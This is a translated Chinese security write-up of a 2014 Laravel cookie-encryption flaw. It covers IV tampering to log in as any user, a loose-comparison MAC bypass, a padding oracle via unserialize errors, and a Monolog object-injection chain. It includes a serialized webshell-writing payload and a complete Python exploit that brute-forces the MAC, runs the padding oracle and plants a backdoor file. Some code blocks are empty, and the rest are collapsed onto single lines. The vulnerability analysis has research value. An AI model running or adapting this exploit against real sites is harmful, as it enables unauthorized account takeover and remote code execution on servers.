Laravel cookie伪造,解密,和远程命令执行

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更多发布于：2014-03-29 11:51

from:laravel-cookie-forgery-decryption-and-rce

◆0 内容

◆1 名词约定

下图为CBC模式加密过程

图片：2014091814183850698.png

下图为CBC模式解密过程

图片：2014091814183850698.png

◆2 简介

Laravel PHP框架中的加密模块存在漏洞，攻击者能够利用该漏洞伪造session cookie来实现任意用户登录，在某些情况下，攻击者能够伪造明文对应的密文，并以此来实行远程代码执行。

Laravel是一个免费，开源的PHP框架，它为现在的web开发人员提供了很多功能，包括基于cookie的session功能。为了防止攻击者伪造cookie，Laravel会为其加密并带上一个消息认证码(MAC)。当接收到cookie时，会计算出相对应的MAC，并与cookie所带的MAC做比较。如果两MAC不一致，则认为cookie已经被篡改，请求会被终止。

◆3 任意用户登录

下面的代码展示了MAC验证和解密过程:

#!php
$payload = json_decode(base64_decode($payload), true);
if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key)) throw new DecryptException("MAC for payload is invalid.");
$value = base64_decode($payload['value']);
$iv = base64_decode($payload['iv']);
$plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));

从上面的代码可以看出MAC只对value进行校验，并不能保证初始化向量(IV)的完整性。 Laravel使用Rijndael－256的密码分组链接(CBC)模式。着也就意味着，没有对IV进行校验，攻击者能够任意修改第一个块的明文。

Laravel “remember me”的cookie格式是user ID字符串，因此恶意用户可以修改他们自个的session cookie，达到登录任意用户，假设我们的用户ID为"123"，session cookie原始明文为 s:3:"123";后接22byte的补充: s:3:"123";x16x16x16x16x16x16x16x16x16x16x16x16x16x16x16x16x16x16x16x16x16x16 (译者注: Laravel用的是PKCS7 padding，与PKCS5不同的是，PKCS5明确填充的内容psLen是1-8，而PKCS7没有这限制。)

假设系统生成的cookie中的IV是这样子的:

Vxc5xb5x03xf1xd4"xe5+>cxffJPNxadx9fxd6xa0x9cVxe3@x9cxd5xa0xd1xddSx1dxc9x84

如果我们想伪造ID为1的用户，也就是cookie明文为s:1:"1";后接24byte的补充，为了能够使服务器端成功解密出ID为1的明文，需要按照以下步骤生成IV:

图片：2014091814183850698.png

就获得了Pb 相对应的IVb，提交新的cookie，我们就成了ID为1的用户，也可以用同样的方法来登录其他ID。对攻击者来说，能够登录任意用户也是相当牛逼的，但你能牛逼的程度取决于应用程序傻逼的程度。有没有一种方法，能够通杀使用Laravel的应用呢？

◆4 发送任意密文

另外一个问题，进行MAC检验的时候使用的是!=。这以为着PHP在实际比较前会进行类型判断。hash_hmac返回的结果永远都是字符串，但是如果$payload['mac']是一个整型，那么强制类型转换会使得伪造一个对应的MAC变得相对简单，例如，正确的MAC以"0"或者其他非数字起头，那么整数0将与之匹配，如果以"1x"(x非数字)，那么整数1与之匹配，依此类推。 (译者注:作者难道没有被1e[1-9]xxx坑过没?)

#!php
var_dump('abcdefg' == 0); // true
var_dump('1abcdef' == 1); // true
var_dump('2abcdef' == 2); // true

由于MAC是经过json_decode处理的，攻击者可以提供一个整型的MAC，这也就意味着，攻击者能够提供一个正确的MAC给任意密文。

◆5 解密密文

Laravel使用的是CBC模式的分组密码，我们也能够提供任意密文让其解密，我们是否能够实施一次牛逼哄哄的 CBC padding oracle attack攻击呢？答案是：在某种情况下，YES

一次有预谋的padding oracle attack攻击需要目标应用能够泄漏不同填充下解密的状态，回头看看解密过程的代码，有三个地方填充状态可能会被泄漏:

嗯，当PHP reporting启用时(其实应该是Laravel的debug模式开启时)，反序列化解密后的数据会告诉我们有多少byte的padding被去除，例如unserialize()爆出"offset X of 22 bytes"的错误时，我们就可以知道这里有10byte的padding。

这样的侧漏对于组织一次有预谋的padding oracle attack来说，足够！

◆6 为任意明文伪造合法的密文

既然有了个CBC decryption oracle，那就很有可能利用CBC-R技术来加密任意明文。

图片：2014091814183850698.png

CBC模式的解密过程为 Pi=DK(Ci) xor Ci−1,C0=IV ，如果攻击者能够控制或者知晓 DK(Ci) 和Ci−1 ，他就能够生成他想要的明文块。既然这里有个选择密文攻击，很显然攻击者能够控制 Ci 和 Ci−1 ，至于DK(Ci)

我们能够利用decryption oracle获得，因此攻击者无需知道密钥K即可对任意明文加密。牛逼吧，如果应用程序使用了这套加密API，我们就伪造密文来执行敏感操作，但是这还是得取决于应用有多傻逼，我们希望变得更牛逼。

◆7 发送任意密文

我们已经使用unserialize()作为我们padding oracle的基础，那我们再次利用unserialize()作一次PHP对象注入来达到任意代码执行，如何？

经过搜索Laravel代码之后，发现还是蛮多类定义了 __wakeup() 或者 __destruct() 魔术方法，不过我发现最有趣的一个类当属被很多项目引用的monolog PHP日志记录框架中的BufferHandler类，显然，如果payload利用的是被广泛应用的monolog而不是其他特定的类，会更为通用。使用Composer(PHP依赖管理器)时，monolog很有可能被包含，因为它可能被注册为PHP class autoload，这也就意味着， monolog不用被明确的包含在我们请求的文件中，当我们反序列化的时候，PHP会自动寻找加载这个类。

BufferHandler类包装这另外一个log处理类，当BufferHandler对象被销毁时，BufferHandler对象会用它包含的实际处理log的对象处理它当前的log buffer，一个比较好的选择是能够存储到任意流资源(比如说文件流)的StreamHandler类，所以我们的计划是注入一个包含StreamHandler对象的BufferHandler对象，其中StreamHandler对象的流资源指向web根目录，并且BufferHandler内包含着带有php webshell的log buffer，好，计划通，行动。

利用下面的代码，很容易生成对应的payload:

#!php

上面的脚本会生成我们的payload:

O:29:"MonologHandlerBufferHandler":3:{s:10:"x00*x00handler";O:29:"MonologHandlerStreamHandler":1:{s:6:"x00*x00url";s:15:"target-file.php";}s:9:"x00*x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"";s:5:"extra";a:0:{}}}s:13:"x00*x00bufferSize";i:1;}

通过上面介绍的技巧，我们可以加密该payload，作为cookie提交上去的时候，代码就执行了。

◆8 译者总结

对于原作者所说的漏洞，我拿一个开源blog laravel-4.1-simple-blog 做实验，将关键文件回滚到存在漏洞状态，如果有人想研究，也可以在这laravel-cookie-forgery-decryption-and-rce.zip下载完整文件。

测试1 任意用户登录

在本地:

新注册一个账户[email protected]，得到用户ID为62，利用以下代码即可获取指定ID用户的cookie

#!php

运行结果

图片：2014091814183850698.png

测试2 利用padding oracle来实现RCE

我修改原作者生成payload的脚本，对比生成的payload和原作者给的payload，发现原作者把一些无用的protect属性给去除了， payload显得比较短，打算直接使用作者给的payload。

但是！原作者的payload留了个大坑，正常访问下，index.php的工作目录是web目录，但是unserialize cookie之后产生的BufferHandler对象和字符串做运算，而BufferHandler类没实现__toString魔术方法，从而导致触发fatal error，使用register_shutdown_function注册的回调函数$this->close被调用，但是！在我测试环境ubuntu 12.04 64bit + php 5.3.10下，触发异常导致$this->close被调用的时候，工作环境被切换到了根路径'/'，从而导致写文件失败。

另外一个坑是mac校验处，本来以为(10/16.0) ** 3 = 0.244140625，开头连续三个数字字符的概率还算低，结果跑一遍才发现远远低估mac校验这里的情况了，比如说正确的校验值是79e58c735e1105d7222f321031a782251da88ebd08cdc1de926ead2df4b9d3fd，这种情况就让人很无奈。在实际情况中，正确的做法是换payload，在这里我就直接换key，最后把key换成Http://WeiBo.COM/Fatez3r0/home?Y。由于程序推ciphertext，推cv的关联性，以及推1 byte cv的随机性，多线程在此处意义不大。

下面是我根据上面的原理编写的exploit

#!python
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import re
import sys
import json
import struct
import base64
import requests
from optparse import OptionParser
def init_parser(): print("") print("=== POC for laravel RCE ===") print("=== by fate0 ===") print("=== [email&#160;protected] ===") print("=== weibo.com/fatez3r0 ===") print("") usage = "Usage: %prog --host http://www.fatezero.org" parser = OptionParser(usage=usage, description="POC for laravel RCE") parser.add_option("--host", type="str", dest="host", help="remote host name") return parser
class LaravelOracle(object): """ 提供32位的payload，也就是明文P 返回相对应的32byte IV """ block_size = 32 def __init__(self, domain, plaintext, ciphertext): self.domain = domain self.timeout = 7 self.re_pattern = re.compile("Errorsatsoffsetsd{1,2}sofs([d]{1,2})sbytes", re.DOTALL | re.M) self.plaintext = bytearray(plaintext) # 32byte的payload self.ciphertext = bytearray(ciphertext) # 32byte的ciphertext self.cv = bytearray() # 正确的cv (中间值) self.iv = bytearray() self.cookie = { 'mac': 0, 'value': self.ciphertext, 'iv': bytearray('0'*32) } self.modify_cookie_mac() @staticmethod def add_padding(value): """ 对value进行padding """ pad = LaravelOracle.block_size - (len(value) % LaravelOracle.block_size) return "{value}{padding}".format(value=value, padding=chr(pad)*pad) @staticmethod def format_cookie(cookie): """ 将易操作的cookie转换成laravel的cookie """ tmp_cookie = dict() send_cookie = dict() tmp_cookie['iv'] = base64.b64encode(cookie['iv']) tmp_cookie['value'] = base64.b64encode(cookie['value']) tmp_cookie['mac'] = int(cookie['mac']) send_cookie['laravel_session'] = base64.b64encode(json.dumps(tmp_cookie)) return send_cookie def modify_cookie_iv(self, index): if len(self.cv) != index: print("[-] Something Wrong") sys.exit() tmp_append = bytearray() for each_c in self.cv: tmp_append.append(each_c ^ (index+1)) self.cookie['iv'] = self.cookie['iv'][0:LaravelOracle.block_size-index] + tmp_append def modify_cookie_mac(self): """ 获取正确的mac 一个32byte的分组，只有1个正确的mac """ while True: send_cookie = self.format_cookie(self.cookie) response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout) if response.status_code == 500: return True self.cookie['mac'] += 1 def guess_cookie_iv_byte(self, index, value): """ 猜测一个字节的IV """ self.cookie['iv'][LaravelOracle.block_size-index-1] = value send_cookie = self.format_cookie(self.cookie) response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout) re_result = self.re_pattern.findall(response.content) if not re_result: if index != 31: return False if response.status_code == 200: self.cv.insert(0, value ^ (index+1)) return True elif int(re_result[0]) >= LaravelOracle.block_size - index: return False else: self.cv.insert(0, value ^ (index+1)) return True def exploit(self): for index in xrange(32): self.modify_cookie_iv(index) for value in xrange(256): if self.guess_cookie_iv_byte(index, value): break print(index, hex(self.cv[0])) for p_char, cv_char in zip(self.plaintext, self.cv): self.iv.append(p_char ^ cv_char)
def main(): parser = init_parser() option, _ = parser.parse_args() domain = option.host if not domain: parser.print_help() sys.exit(0) domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain) domain = domain if not domain.endswith('/') else domain[:-1] cookie = dict() cookie['mac'] = 0 payload = ('''O:29:"MonologHandlerBufferHandler":3:{s:10:"x00*x00handler";O:29''' ''':"MonologHandlerStreamHandler":1:{s:6:"x00*x00url";s:26:"/var/www/blog/public/x.php";}''' '''s:9:"x00*x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"";s:5:"extra";a:0:{}}}s:13:"x00*x00bufferSize";i:1;}''') padding_payload = LaravelOracle.add_padding(payload) payload_block = reversed(struct.unpack("32s"*(len(padding_payload)/32), padding_payload)) ciphertext = bytearray('0'*32) for each_payload_block in payload_block: print("[plaintext] {payload_block}".format(payload_block=each_payload_block)) print("[ciphertext] {ciphertext}".format(ciphertext=base64.b64encode((ciphertext[:32])))) LO = LaravelOracle(domain, each_payload_block, ciphertext[:32]) LO.exploit() print("[iv] {iv}".format(iv=base64.b64encode(LO.iv))) ciphertext = LO.iv + ciphertext cookie['iv'] = ciphertext[:32] cookie['value'] = ciphertext[32:] cookie['mac'] = 0 while True: send_cookie = LaravelOracle.format_cookie(cookie) requests.get(domain, cookies=send_cookie, timeout=7) if requests.get("{domain}/{backdoor}".format(domain=domain, backdoor='x.php')).status_code == 200: print("cookie: n{cookie}".format(cookie=send_cookie)) return cookie['mac'] += 1
if __name__ == '__main__': main()

运行结果

图片：2014091814183850698.png

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